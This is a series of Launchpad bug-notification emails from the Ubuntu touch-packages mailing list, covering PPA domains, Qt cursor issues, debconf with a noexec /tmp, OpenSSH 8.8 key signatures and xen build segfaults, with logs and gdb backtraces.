  [Socket]
  ListenStream=22
  Accept=no

  [Install]
  WantedBy=sockets.target

  Finally, in /etc/systemd/system there is an ssh.service.d directory
  that contains the 00-socket.conf file that contains:

  

[Touch-packages] [Bug 2017948] Re: Launchpad recipe builds for Mantic append Lunar version string

[Colin Watson]

** Changed in: launchpad
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to base-files in Ubuntu.
https://bugs.launchpad.net/bugs/2017948

Title:
  Launchpad recipe builds for Mantic append Lunar version string

Status in Launchpad itself:
  Fix Released
Status in base-files package in Ubuntu:
  Fix Released

Bug description:
  I'm seeing recipe builds being produced by the buildd for Mantic
  getting published with the '~ubuntu23.04.1' suffix which is the same
  one that's used for Lunar builds. Admittedly, I can't recall if it
  this was always the behavior for prerelease Ubuntu versions, but I
  don't think so, since this stood out as amiss when I had no other
  reason to scrutinize the version strings on a PPA page. Can someone
  possessing deeper familiarity with the recipe build process look into
  this?

To manage notifications about this bug go to:
https://bugs.launchpad.net/launchpad/+bug/2017948/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1959015] Re: Switch to new HTTPS-capable domains for PPAs

[Colin Watson]

** Changed in: software-properties (Ubuntu)
 Assignee: Kevin bush (akjk32002) => (unassigned)

** Changed in: software-properties (Ubuntu Jammy)
 Assignee: Kevin bush (akjk32002) => (unassigned)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1959015

Title:
  Switch to new HTTPS-capable domains for PPAs

Status in software-properties package in Ubuntu:
  Fix Released
Status in software-properties source package in Jammy:
  Fix Released

Bug description:
  As described in bug 1473091, PPAs are now being served from new
  domains that aren't under launchpad.net and so can safely serve HTTPS
  without risk of compromising Launchpad session cookies.  The old
  domains will keep working indefinitely, but nevertheless it would be
  good if we could arrange for add-apt-repository to use the new domains
  as of 22.04.

  The changes are:

   * http://ppa.launchpad.net/ → https://ppa.launchpadcontent.net/ (or http:// 
works too, but we should prefer https://)
   * https://private-ppa.launchpad.net/ → 
https://private-ppa.launchpadcontent.net/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1959015/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2002450] Re: QT applications don't respect environment or mouse cursor

[Colin Watson]

** Project changed: launchpad => qtbase-opensource-src (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to qtbase-opensource-src in
Ubuntu.
https://bugs.launchpad.net/bugs/2002450

Title:
  QT applications don't respect environment or mouse cursor

Status in qtbase-opensource-src package in Ubuntu:
  New

Bug description:
  Using Ubuntu 22.04 (very recent fresh installation)

  QT applications use X11 by default instead of Wayland. This leads to
  incomplete menus and all sorts of graphical glitches. The workaround
  is to add export QT_QPA_PLATFORM=wayland to .profile. As for the mouse
  cursor, they don't use the current mouse cursor size (which is instead
  huge). A google search of "mouse cursor too big on Ubuntu" yields
  quite a few results, signalizing that the issue affects multiple
  users. A workaround is to add export XCURSOR_SIZE="$(gsettings get
  org.gnome.desktop.interface cursor-size)" to .profile. The mouse
  cursor theme is also not respected. Instead, a white mouse cursor is
  what I see in QT applications. A workaround is to add export
  XCURSOR_THEME=Yaru to .profile (export XCURSOR_THEME="$(gsettings get
  org.gnome.desktop.interface cursor-theme)" doesn't work, even though
  executing gsettings get org.gnome.desktop.interface cursor-theme in
  the terminal returns 'Yaru'). Trying to investigate the matter as to
  why this happens, I found at least something relevant regarding the
  mouse cursor theme: the file x-cursor-theme in etc/alternatives had
  the lines

  [Icon Theme]
  Inherits=DMZ-White

  which is strange because the default mouse cursor theme is Yaru
  nowadays and not DMZ-White. However, DMZ-White seems to have been the
  default in the past (I might be wrong on this), suggesting that those
  lines are a relic of older Ubuntu versions. Changing the above DMZ-
  White to Yaru (and deleting the corresponding line in .profile) solves
  the issue as well (presumably now for all users on this machine).

  These commands, or an equivalent configuration, should be the default
  (it's not clear why QT applications are not supposed to use the
  default environment). Regarding mouse cursor I would also add: when
  opening a QT application without having done any of the above, the
  mouse cursor doesn't change. It only happens when the app is made to
  run using Wayland that the mouse cursor changes. The right top buttons
  of the window (close, maximize, minimize) also change to a different,
  "retro" design with Wayland (not with X11, despite all the other
  glitches), which is clearly not Yaru or even Adwaita.

  A standard Ubuntu installation, even though it comes with GNOME,
  should expect users to install QT based applications at some point.
  They should use Wayland and use the default mouse cursor size and
  theme with no manual intervention by the user.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/qtbase-opensource-src/+bug/2002450/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1642863] Re: Upgrading unattended-upgrades gives errors and a warning

[Colin Watson]

*** This bug is a duplicate of bug 90085 ***
https://bugs.launchpad.net/bugs/90085

** This bug has been marked a duplicate of bug 90085
   When /tmp is mounted noexec, preconfigure fails

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to debconf in Ubuntu.
https://bugs.launchpad.net/bugs/1642863

Title:
  Upgrading unattended-upgrades gives errors and a warning

Status in debconf package in Ubuntu:
  Confirmed

Bug description:
  Ubuntu release
  ==

  Description:  Ubuntu 16.04.1 LTS
  Release:  16.04

  Package version
  ===

  unattended-upgrades:
Installed: 0.90ubuntu0.2
Candidate: 0.90ubuntu0.2
Version table:
   *** 0.90ubuntu0.2 500
  500 http://archive.ubuntu.com/ubuntu xenial-updates/main amd64 
Packages
  500 http://archive.ubuntu.com/ubuntu xenial-updates/main i386 Packages
  100 /var/lib/dpkg/status
   0.90 500
  500 http://archive.ubuntu.com/ubuntu xenial/main amd64 Packages
  500 http://archive.ubuntu.com/ubuntu xenial/main i386 Packages

  What I expected to happen
  =

  No error or warning messages during a software upgrade.

  What happened instead
  =

  When an updated version of unattended-upgrades is installed, the
  following error messages appear because /tmp is mounted noexec for
  security reasons (see the Securing Debian Manual, section 4.10 at
  https://www.debian.org/doc/manuals/securing-debian-
  howto/ch4.en.html#s4.10):

  Preconfiguring packages ...
  Can't exec "/tmp/unattended-upgrades.config.5svL0F": Permission denied at 
/usr/share/perl/5.22/IPC/Open3.pm line 178.
  open2: exec of /tmp/unattended-upgrades.config.5svL0F configure 
0.90ubuntu0.1 failed at /usr/share/perl5/Debconf/ConfModule.pm line 59.

  Also, the following warning occurs later on:

  Setting up unattended-upgrades (0.90ubuntu0.2) ...
  update-rc.d: warning: start and stop actions are no longer supported; 
falling back to defaults

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: unattended-upgrades 0.90ubuntu0.2
  ProcVersionSignature: Ubuntu 4.4.0-47.68-generic 4.4.24
  Uname: Linux 4.4.0-47-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Fri Nov 18 02:36:54 2016
  DistributionChannelDescriptor:
   # This is a distribution channel descriptor
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-xenial-amd64-20160624-2
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2016-11-01 (17 days ago)
  InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 
20160624-10:47
  PackageArchitecture: all
  SourcePackage: unattended-upgrades
  UpgradeStatus: No upgrade log present (probably fresh install)
  modified.conffile..etc.apt.apt.conf.d.10periodic:
   APT::Periodic::Update-Package-Lists "0";
   APT::Periodic::Download-Upgradeable-Packages "0";
   APT::Periodic::AutocleanInterval "0";
   APT::Periodic::Unattended-Upgrade "1";
  mtime.conffile..etc.apt.apt.conf.d.10periodic: 2016-11-07T13:58:08.805628

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/debconf/+bug/1642863/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1971323] Re: Merge six from Debian unstable for kinetic

[Colin Watson]

six is in sync at version 1.16.0-4 in kinetic, so this was evidently
handled without closing this bug.

** Changed in: six (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to six in Ubuntu.
https://bugs.launchpad.net/bugs/1971323

Title:
  Merge six from Debian unstable for kinetic

Status in six package in Ubuntu:
  Fix Released

Bug description:
  Upstream: tbd
  Debian:   1.16.0-3
  Ubuntu:   1.16.0-3ubuntu1


  Debian typically updates six every 2 months on average, but it was
  last updated 21.12 and looks overdue.  Check back in on this monthly.

  
  ### New Debian Changes ###

  six (1.16.0-3) unstable; urgency=medium

[ Debian Janitor ]
* Bump debhelper from old 12 to 13.
* Update standards version to 4.5.1, no changes needed.

    [ Colin Watson ]
* Link directly to upstream in Homepage and debian/copyright.

   -- Colin Watson   Sun, 26 Dec 2021 02:24:26
  +

  six (1.16.0-2) unstable; urgency=medium

* Team upload.

[ Andreas Beckmann ]
* python-six/python3-six: Copy Breaks: python (<< 2.7.18),
  python-minimal (<< 2.7.18), libpython-stdlib (<< 2.7.18),
  python-iso8601 (<< 0.1.12-2~), python-pbr (<< 5.4.5) from python2.7 to
  ensure removal of the unversioned python packages (and some persisting
  obsolete Python 2 module packages) on upgrades from buster. In some
  upgrade scenarios (mostly involving openstack packages) these Breaks in
  python2.7 were ineffective because the unversioned python packages got
  higher scores than python2.7. python-six/python3-six are usually very
  high scoring Python module packages in these cases, making them ideal
  candidates for such copies of the Breaks.  (Closes: #991433)

   -- Stefano Rivera   Tue, 27 Jul 2021 11:44:18
  -0400

  six (1.16.0-1) unstable; urgency=medium

    * New upstream release.

   -- Colin Watson   Sun, 09 May 2021 11:40:54
  +0100

  six (1.15.0-2) unstable; urgency=medium

[ Ondřej Nový ]
* d/control: Update Maintainer field with new Debian Python Team
  contact address.
* d/control: Update Vcs-* fields with new Debian Python Team Salsa
  layout.

[ Colin Watson ]
* Remove Barry Warsaw from Uploaders, with thanks for their previous
  contributions (closes: #970181).

   -- Colin Watson   Tue, 10 Nov 2020 00:16:45
  +

  six (1.15.0-1) unstable; urgency=medium

[ Debian Janitor ]
* Update standards version to 4.5.0, no changes needed.

[ Colin Watson ]
    * New upstream release.

   -- Colin Watson   Sun, 24 May 2020 10:23:22
  +0100

  six (1.14.0-3) unstable; urgency=medium

* Dont run unittests for python2 binary, to reduce pytest rdeps

   -- Sandro Tosi   Mon, 13 Apr 2020 20:16:04 -0400

  six (1.14.0-2) unstable; urgency=medium

* Build-depend on python2 rather than python.

   -- Colin Watson   Tue, 21 Jan 2020 09:44:26
  +

  six (1.14.0-1) unstable; urgency=medium

[ Debian Janitor ]
* Remove unnecessary team-upload line in changelog.
* Set upstream metadata fields: Bug-Database, Repository.
* Set upstream metadata fields: Bug-Submit, Repository-Browse.

[ Colin Watson ]
    * New upstream release.

   -- Colin Watson   Mon, 20 Jan 2020 21:39:42
  +

  six (1.13.0-1) unstable; urgency=medium

[ Emmanuel Arias ]
* New upstream version 1.13.0
* d/control: Bump Standard-Version to 4.4.1
* d/control: Bump debhelper-compat to 12 (from 9)

[ Colin Watson ]
* Replace manually-written basic autopkgtests with 'Testsuite:
  autopkgtest-pkg-python'.
* Remove build-dependencies on python-py and python3-py, no longer used
  upstream.
* Fix HTML paths in doc-base control file.

   -- Colin Watson   Tue, 12 Nov 2019 08:10:54
  +

  six (1.12.0-2) unstable; urgency=medium


  ### Old Ubuntu Delta ###

  six (1.16.0-3ubuntu1) jammy; urgency=medium

* Drop Breaks on python to allow python-is-python2 to remain when
  upgrading from Focal (LP: #1958720)

   -- Robie Basak   Wed, 13 Apr 2022 21:08:40
  +0100

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/six/+bug/1971323/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 645404] Re: Support Private PPAs

[Colin Watson]

The history is a bit confusing, but I think this was landed in software-
properties 0.99.0, and so this bug should probably be closed.  Am I
right?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/645404

Title:
  Support Private PPAs

Status in software-properties package in Ubuntu:
  Confirmed
Status in software-properties source package in Bionic:
  Won't Fix
Status in software-properties source package in Cosmic:
  Won't Fix
Status in software-properties source package in Disco:
  Won't Fix
Status in software-properties source package in Eoan:
  Won't Fix
Status in software-properties source package in Focal:
  Won't Fix

Bug description:
  Software properties add-apt-repository currently does not support
  adding private PPAs.

  software-properties should connect to the API and observe that it gets
  permission denied trying to read the ppa. Then it can reconnect to the
  API asking for authentication, which will open a browser window where
  you can do the openid ritual. Then using that token it ought to be
  possible for it to get the password etc.

  
  ProblemType: BugDistroRelease: Ubuntu 12.04
  Package: python-software-properties 0.82.4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/645404/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1961833] Re: openssh 8.8 breaks login to Canonical servers

[Colin Watson]

No, I'm not going to undo this.  IS shouldn't be running a pre-xenial
OpenSSH on xenial machines in the first place, and it's good to fix
that; and anything older than that is well out of support anyway.

** Changed in: openssh (Ubuntu)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1961833

Title:
  openssh 8.8 breaks login to Canonical servers

Status in openssh package in Ubuntu:
  Won't Fix

Bug description:
  With 8.7p1-4 connecting to wendigo

  debug1: Next authentication method: publickey
  debug1: Offering public key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent
  debug1: Server accepts key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent

  With 8.8p1-1

  debug1: Offering public key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent

 
  debug1: send_pubkey_test: no mutual signature algorithm   

  
  Needs further investigation, but blocks people a bit right now

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1961833/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1961833] Re: openssh 8.8 breaks login to Canonical servers

[Colin Watson]

Also, regarding the "without a deprecation notice" claim, this has been
advertised under "Future deprecation notice" in the OpenSSH release
notes since 8.2.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1961833

Title:
  openssh 8.8 breaks login to Canonical servers

Status in openssh package in Ubuntu:
  Won't Fix

Bug description:
  With 8.7p1-4 connecting to wendigo

  debug1: Next authentication method: publickey
  debug1: Offering public key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent
  debug1: Server accepts key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent

  With 8.8p1-1

  debug1: Offering public key: /home/jak/.ssh/id_rsa RSA 
SHA256:Dj1/l9g5RH00/wO7puC1WVxgpvmhmaQg3wEETwmOFPk agent

 
  debug1: send_pubkey_test: no mutual signature algorithm   

  
  Needs further investigation, but blocks people a bit right now

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1961833/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1959015] [NEW] Switch to new HTTPS-capable domains for PPAs

[Colin Watson]

Public bug reported:

As described in bug 1473091, PPAs are now being served from new domains
that aren't under launchpad.net and so can safely serve HTTPS without
risk of compromising Launchpad session cookies.  The old domains will
keep working indefinitely, but nevertheless it would be good if we could
arrange for add-apt-repository to use the new domains as of 22.04.

The changes are:

 * http://ppa.launchpad.net/ → https://ppa.launchpadcontent.net/ (or http:// 
works too, but we should prefer https://)
 * https://private-ppa.launchpad.net/ → 
https://private-ppa.launchpadcontent.net/

** Affects: software-properties (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1959015

Title:
  Switch to new HTTPS-capable domains for PPAs

Status in software-properties package in Ubuntu:
  New

Bug description:
  As described in bug 1473091, PPAs are now being served from new
  domains that aren't under launchpad.net and so can safely serve HTTPS
  without risk of compromising Launchpad session cookies.  The old
  domains will keep working indefinitely, but nevertheless it would be
  good if we could arrange for add-apt-repository to use the new domains
  as of 22.04.

  The changes are:

   * http://ppa.launchpad.net/ → https://ppa.launchpadcontent.net/ (or http:// 
works too, but we should prefer https://)
   * https://private-ppa.launchpad.net/ → 
https://private-ppa.launchpadcontent.net/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1959015/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1959015] Re: Switch to new HTTPS-capable domains for PPAs

[Colin Watson]

** Summary changed:

- Switch to new HTTPS-capable domain for PPAs
+ Switch to new HTTPS-capable domains for PPAs

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1959015

Title:
  Switch to new HTTPS-capable domains for PPAs

Status in software-properties package in Ubuntu:
  New

Bug description:
  As described in bug 1473091, PPAs are now being served from new
  domains that aren't under launchpad.net and so can safely serve HTTPS
  without risk of compromising Launchpad session cookies.  The old
  domains will keep working indefinitely, but nevertheless it would be
  good if we could arrange for add-apt-repository to use the new domains
  as of 22.04.

  The changes are:

   * http://ppa.launchpad.net/ → https://ppa.launchpadcontent.net/ (or http:// 
works too, but we should prefer https://)
   * https://private-ppa.launchpad.net/ → 
https://private-ppa.launchpadcontent.net/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1959015/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1958389] Re: Jammy builds of xen segfault, but only on launchpad x86 builders

[Colin Watson]

It probably isn't useful, but the backtrace without extra debug symbols
looks like this:

buildd@dogfood-lgw01-amd64-001:/build/xen-jT2uET/xen-4.16.0/xen/arch/x86$ gdb 
--args x86_64-linux-gnu-ld -mi386pep --subsystem=10 
--image-base=0x82d04000 --stack=0,0 --heap=0,0 
--section-alignment=0x20 --file-alignment=0x20 --major-image-version=4 
--minor-image-version=16 --major-os-version=2 --minor-os-version=0 
--major-subsystem-version=2 --minor-subsystem-version=0 --no-insert-timestamp 
--build-id=sha1 -T efi.lds -N prelink.o  
/build/xen-jT2uET/xen-4.16.0/xen/common/symbols-dummy.o -b pe-x86-64 
efi/buildid.o -o /build/xen-jT2uET/xen-4.16.0/xen/.xen.efi.0x82d04000.0
GNU gdb (Ubuntu 11.2-0ubuntu1) 11.2
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from x86_64-linux-gnu-ld...
(No debugging symbols found in x86_64-linux-gnu-ld)
(gdb) r
Starting program: /usr/bin/x86_64-linux-gnu-ld -mi386pep --subsystem=10 
--image-base=0x82d04000 --stack=0,0 --heap=0,0 
--section-alignment=0x20 --file-alignment=0x20 --major-image-version=4 
--minor-image-version=16 --major-os-version=2 --minor-os-version=0 
--major-subsystem-version=2 --minor-subsystem-version=0 --no-insert-timestamp 
--build-id=sha1 -T efi.lds -N prelink.o 
/build/xen-jT2uET/xen-4.16.0/xen/common/symbols-dummy.o -b pe-x86-64 
efi/buildid.o -o /build/xen-jT2uET/xen-4.16.0/xen/.xen.efi.0x82d04000.0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x77ca3b4a in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x77ca3b4a in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x77f672d0 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
#2  0x77f2d1e8 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
#3  0x77f2d509 in coff_write_alien_symbol ()
   from /lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
#4  0x77f2e3bd in _bfd_coff_final_link ()
   from /lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
#5  0x5559d3bf in ?? ()
#6  0x77c13fd0 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#7  0x77c1407d in __libc_start_main () from 
/lib/x86_64-linux-gnu/libc.so.6
#8  0x5559c515 in ?? ()

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1958389

Title:
  Jammy builds of xen segfault, but only on launchpad x86 builders

Status in launchpad-buildd:
  New
Status in binutils package in Ubuntu:
  New
Status in xen package in Ubuntu:
  New

Bug description:
  FTBFS in Jammy on LP infra:
  
https://launchpadlibrarian.net/580924961/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa4_BUILDING.txt.gz
  
https://launchpadlibrarian.net/581060687/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa6_BUILDING.txt.gz
  Related PPA:
  https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/4760/+packages

  Summary:
  - Build reliably fails on LP
  - Build in local sbuild works reliably on my Laptop
  - Build in local VM (sizing like LP builders) works (other crashes but works)
  - Build on AMD server (chip more similar to LP) works reliably

  Failing step:

  On Launchpad build infrastructure it breaks on ld:
  $ x86_64-linux-gnu-ld -mi386pep --subsystem=10 
--image-base=0x82d04000 --stack=0,0 --heap=0,0 
--section-alignment=0x20 --file-alignment=0x20 --major-image-version=4 
--minor-image-version=16 --major-os-version=2 --minor-os-version=0 
--major-subsystem-version=2 --minor-subsystem-version=0 --no-insert-timestamp 
--build-id=sha1 -T efi.lds -N prelink.o  
/<>/xen/common/symbols-dummy.o -b pe-x86-64 efi/buildid.o -o 
/<>/xen/.xen.efi.0x82d04000.0 && :
  Segmentation fault (core dumped

  ---

  Steps to recreate (result depends on platform)

  # you can grab the package from https://launchpad.net/~ci-train-ppa-
  service/+archive/ubuntu/4760/+packages

  sudo vim /etc/apt/sources.list
  sudo apt update
  sudo apt dist-upgrade -y
  sudo apt build-dep xen
  sudo apt install flex bison python3-dev libpython3-dev dpkg-dev devscripts 
apport-retrace
  sudo mkdir /mnt/build
  sudo 

[Touch-packages] [Bug 1958389] Re: Jammy builds of xen segfault, but only on launchpad x86 builders

[Colin Watson]

I've tested manually on a staging lcy02 builder and it works fine there,
so worst case you should be able to retry until it happens to land on
lcy02.

I've reproduced the problem on a staging lgw01 builder.  I need ddebs to
get a useful backtrace, so I've filed
https://code.launchpad.net/~cjwatson/canonical-is-
firewalls/+git/firewall-configs/+merge/414372 to get access to those
from the relevant builder - I should be able to pick this up again once
that's merged.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to binutils in Ubuntu.
https://bugs.launchpad.net/bugs/1958389

Title:
  Jammy builds of xen segfault, but only on launchpad x86 builders

Status in launchpad-buildd:
  New
Status in binutils package in Ubuntu:
  New
Status in xen package in Ubuntu:
  New

Bug description:
  FTBFS in Jammy on LP infra:
  
https://launchpadlibrarian.net/580924961/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa4_BUILDING.txt.gz
  
https://launchpadlibrarian.net/581060687/buildlog_ubuntu-jammy-amd64.xen_4.16.0-1~ubuntu1~jammyppa6_BUILDING.txt.gz
  Related PPA:
  https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/4760/+packages

  Summary:
  - Build reliably fails on LP
  - Build in local sbuild works reliably on my Laptop
  - Build in local VM (sizing like LP builders) works (other crashes but works)
  - Build on AMD server (chip more similar to LP) works reliably

  Failing step:

  On Launchpad build infrastructure it breaks on ld:
  $ x86_64-linux-gnu-ld -mi386pep --subsystem=10 
--image-base=0x82d04000 --stack=0,0 --heap=0,0 
--section-alignment=0x20 --file-alignment=0x20 --major-image-version=4 
--minor-image-version=16 --major-os-version=2 --minor-os-version=0 
--major-subsystem-version=2 --minor-subsystem-version=0 --no-insert-timestamp 
--build-id=sha1 -T efi.lds -N prelink.o  
/<>/xen/common/symbols-dummy.o -b pe-x86-64 efi/buildid.o -o 
/<>/xen/.xen.efi.0x82d04000.0 && :
  Segmentation fault (core dumped

  ---

  Steps to recreate (result depends on platform)

  # you can grab the package from https://launchpad.net/~ci-train-ppa-
  service/+archive/ubuntu/4760/+packages

  sudo vim /etc/apt/sources.list
  sudo apt update
  sudo apt dist-upgrade -y
  sudo apt build-dep xen
  sudo apt install flex bison python3-dev libpython3-dev dpkg-dev devscripts 
apport-retrace
  sudo mkdir /mnt/build
  sudo chmod go+w /mnt/build
  cd  /mnt/build
  # copy in things from host
  scp xen_4.16.0-1~ubuntu1~jammyppa6.dsc 
xen_4.16.0-1~ubuntu1~jammyppa6.debian.tar.xz xen_4.16.0.orig.tar.bz2 
ubuntu@:/mnt/build
  dpkg-source -x xen_4.16.0-1~ubuntu1~jammyppa6.dsc xen_4.16.0
  cd xen_4.16.0
  dpkg-buildpackage -i -us -uc -b

  ---

  In a jammy VM 4cpu/8G I get some avx2 crashes but the build works:

  Jan 19 07:41:27 j kernel: x86_64-linux-gn[130016]: segfault at 0 ip 
7f189432ef3d sp 7ffc8e2361d8 error 4 in libc.so.6[7f18941bb000+194000]
  Jan 19 07:41:27 j kernel: Code: f8 77 c3 66 2e 0f 1f 84 00 00 00 00 00 f3 0f 
1e fa 89 f8 48 89 fa c5 f9 ef c0 25 ff 0f 00 00 3d e0 0f 00 00 0f 87 33 01 00 
00  fd 74 0f c5 fd d7 c1 85 c0 74 57 f3 0f bc c0 c5 f8 77 c3 66 66

  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:74
  74../sysdeps/x86_64/multiarch/strlen-avx2.S: No such file or directory.
  (gdb) bt
  #0  __strlen_avx2 () at ../sysdeps/x86_64/multiarch/strlen-avx2.S:74
  #1  0x7fa98d63c2d0 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #2  0x7fa98d6021e8 in ?? () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #3  0x7fa98d602509 in coff_write_alien_symbol () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #4  0x7fa98d6033bd in _bfd_coff_final_link () from 
/lib/x86_64-linux-gnu/libbfd-2.37.50-system.20220106.so
  #5  0x562bdaaae3bf in ?? ()
  #6  0x7fa98d2e8fd0 in __libc_start_call_main 
(main=main@entry=0x562bdaaad5e0, argc=argc@entry=8, 
argv=argv@entry=0x7ffc797f2968) at ../sysdeps/nptl/libc_start_call_main.h:58
  #7  0x7fa98d2e907d in __libc_start_main_impl (main=0x562bdaaad5e0, 
argc=8, argv=0x7ffc797f2968, init=, fini=, 
rtld_fini=, 
  stack_end=0x7ffc797f2958) at ../csu/libc-start.c:409
  #8  0x562bdaaad515 in ?? ()

  ^^ that is a different crash than on th LP builders
  ! And despite those crashes the build does appear to work oO?!

  The same crashes I see on my local sbuild runs, the full set of one build is
  Jan 19 07:39:02 Keschdeichel kernel: x86_64-linux-gn[4131180]: segfault at 0 
ip 7f566e8b3f3d sp 7ffde04b75a8 error 4 in 
libc.so.6[7f566e74+194000]
  Jan 19 07:39:03 Keschdeichel kernel: x86_64-linux-gn[4131332]: segfault at 0 
ip 7fbba26e4f3d sp 7fffab8a5b68 error 4 in 
libc.so.6[7fbba2571000+194000]
  Jan 19 07:39:03 Keschdeichel kernel: x86_64-linux-gn[4131382]: segfault at 0 
